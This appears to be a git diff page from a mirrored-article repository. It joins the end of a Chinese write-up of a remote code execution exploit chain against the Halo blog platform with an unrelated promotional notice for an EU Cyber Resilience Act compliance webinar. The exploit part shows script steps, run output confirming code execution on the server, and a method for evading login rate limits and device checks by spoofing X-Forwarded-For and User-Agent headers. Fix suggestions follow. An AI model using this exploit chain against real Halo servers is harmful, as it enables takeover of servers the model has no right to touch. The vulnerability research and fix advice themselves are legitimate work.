||||
await new Promise(r => setTimeout(r, 8000));
|
||||
|
||||
// 7. 还原模板，避免反复弹窗
|
||||
await restoreNotificationTemplate(loginA.cookies);
|
||||
```
|
||||
### 6.3 为什么第二次登录要换 UA 和 X-Forwarded-For
|
||||
- Halo 登录接口有基于 IP 的限流，同一 IP 频繁登录会被拦截；
|
||||
|
||||
- IpAddressUtils 会优先读取 X-Forwarded-For 作为客户端 IP，所以每次换这个头就能拿到新的限流桶；
|
||||
|
||||
- new-device-login 的设备识别依赖 User-Agent 和 IP，第二次用不同 UA/IP 会被识别为新设备，从而触发通知渲染。
|
||||
|
||||
## 七、验证结果
|
||||
|
||||
执行：
|
||||
```
|
||||
node rce_poc.js
|
||||
```
|
||||
|
||||
输出：
|
||||
```
|
||||
[*] GET /login
|
||||
[+] CSRF token obtained: sFOrVpMsDiknG70ypwzb...
|
||||
[+] Public key obtained from login page
|
||||
[*] POST /login (User-Agent: Halo-RCE-Browser-A/1.0) (X-Forwarded-For: 10.0.0.1)
|
||||
[+] First login successful (status 302)
|
||||
[*] Uploading poc.sql via attachment API
|
||||
[+] Upload success: 200
|
||||
[*] GET /apis/notification.halo.run/v1alpha1/notificationtemplates/template-new-device-login
|
||||
[*] PUT /apis/notification.halo.run/v1alpha1/notificationtemplates/template-new-device-login
|
||||
[+] Notification template updated
|
||||
[*] GET /login
|
||||
[*] POST /login (User-Agent: Halo-RCE-Browser-B/2.0 (Different)) (X-Forwarded-For: 10.0.0.2)
|
||||
[+] Second login successful (status 302)
|
||||
[*] Waiting for notification trigger...
|
||||
[+] Notification template restored
|
||||
[*] If the exploit worked, calc.exe should have opened on the server.
|
||||
```
|
||||
|
||||
计算器出来了，RCE 验证成功。
|
||||
|
||||
|
||||
## 八、修复思路
|
||||
- 默认策略不应允许 ALL 类型，要加后缀白名单；
|
||||
|
||||
- 禁止上传 .sql、.sh、.bat、.class 等可解释/可执行文件；
|
||||
|
||||
- 附件存储目录与 H2/JDBC 工作目录隔离。
|
||||
|
||||
## 九、写在最后
|
||||
|
||||
这条链的有趣之处在于：
|
||||
- 它不是简单的 SSTI 直接 RCE；
|
||||
|
||||
- Thymeleaf 黑名单把常见绕过都堵了，但漏掉了 Spring JDBC + H2 这个利用链；
|
||||
|
||||
- H2 的 CREATE ALIAS 机制相当于在 JVM 内部提供了一个“动态编译器”，让我们绕过了 Thymeleaf 对 java.lang.Runtime 的直接限制；
|
||||
|
||||
- 最后通过一个不起眼的附件上传功能，把外部 payload 送到了 H2 能读取的位置。
|
||||
|
||||
希望对大家做代码审计和漏洞挖掘有所启发。最后就是AI审洞真jb牛逼。
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
# 就在明天15点！CRA合规专题直播：如何打通从漏洞通报到产品安全的最后一公里？
|
||||
菜根网络安全杂谈 2026-09-02 06:03
|
||||
|
||||
|
||||
|
||||
|
||||
**点击“蓝字”关注我们**
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||
倒计时1天
|
||||
|
||||
|
||||
直播概述
|
||||
|
||||
|
||||
欧盟 CRA 法规已经从认知科普阶段，正式迈入企业落地实施的关键期。
|
||||
|
||||
|
||||
随着
|
||||
**漏洞通报义务即将生效**
|
||||
，出海欧盟的企业正面临实实在在的合规压力：要满足24/72小时漏洞通报硬性时限，还要搞定固件、源码、软件组件全生命周期的安全管理……很多企业看懂了法规条文，却卡在技术落地的“最后一公里”。
|
||||
|
||||
|
||||
如果您也面临以下困扰：
|
||||
|
||||
|
||||
❌ 漏洞通报义务近在咫尺，24/72小时漏洞通报怎么做？
|
||||
|
||||
|
||||
❌ 固件中大量的未知开源组件，来源摸不清、SBOM 清单做不出？
|
||||
|
||||
|
||||
❌ 发现漏洞，但评估、处置、留存证据链条零散，难以满足举证要求？
|
||||
|
||||
|
||||
❌ 研发、安全、合规团队协同混乱，不清楚优先补齐哪一块安全能力？
|
||||
|
||||
|
||||
|
||||
|
||||
艾体宝特别打造的 CRA 合规专题直播即将上线！
|
||||
|
||||
|
||||
**📅 9月3日（明天）15:00**
|
||||
|
||||
艾体宝 × ONEKEY × Mend.io 直播聚焦
|
||||
|
||||
**CRA 合规落地：如何打通从漏洞通报到产品安全的最后一公里**
|
||||
|
||||
从 CRA 法规解读到合规落地闭环
|
||||
|
||||
助力企业搭建可持续、可追溯的产品安全能力
|
||||
|
||||
|
||||
**点击链接，直达直播间：**
|
||||
|
||||
https://i80ld.xetlk.com/sl/16Unu0
|
||||
|
||||
|
||||
**或者扫码进入：**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
扫码锁定观看席位
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Tip**
|
||||
|
||||
|
||||
免费加入技术社群
|
||||
|
||||
|
||||
直播亮点抢先看
|
||||
|
||||
|
||||
**CRA 漏洞通报义务拆解**
|
||||
|
||||
解读24/72小时响应硬性要求，梳理企业可执行的落地路径
|
||||
|
||||
|
||||
|
||||
**ONEKEY 固件安全方案**
|
||||
|
||||
固件分析、SBOM 生成、漏洞识别，一站式解决固件层面 CRA 合规难题
|
||||
|
||||
|
||||
|
||||
**Mend.io 软件供应链安全**
|
||||
|
||||
源码安全、开源组件治理、SBOM 管理、漏洞闭环治理实践分享
|
||||
|
||||
|
||||
|
||||
**CRA 合规实战演示**
|
||||
|
||||
实操演示：从源代码到固件，搭建自动化 CRA 合规证据链
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
面对CRA强制合规，纸上谈兵远远不够，需要完整的技术工具链打通从
|
||||
**组件识别、漏洞发现到通报举证**
|
||||
的全流程。
|
||||
|
||||
|
||||
**9月3日（明天）15:00**
|
||||
|
||||
|
||||
**CRA 合规落地：如何打通从漏洞通报到产品安全的最后一公里**
|
||||
|
||||
|
||||
**点击链接，直达直播间：**
|
||||
|
||||
https://i80ld.xetlk.com/sl/16Unu0
|
||||
|
||||
|
||||
欢迎锁定本次直播，和行业技术专家一起探讨CRA合规落地的实操解法。
|
||||
|
||||
|
||||
|
||||
|
||||
扫码锁定观看席位
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Tip**
|
||||
|
||||
|
||||
免费加入技术社群
|
||||
|
||||
|
||||
**点击文末“阅读原文”，直达直播间👇**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user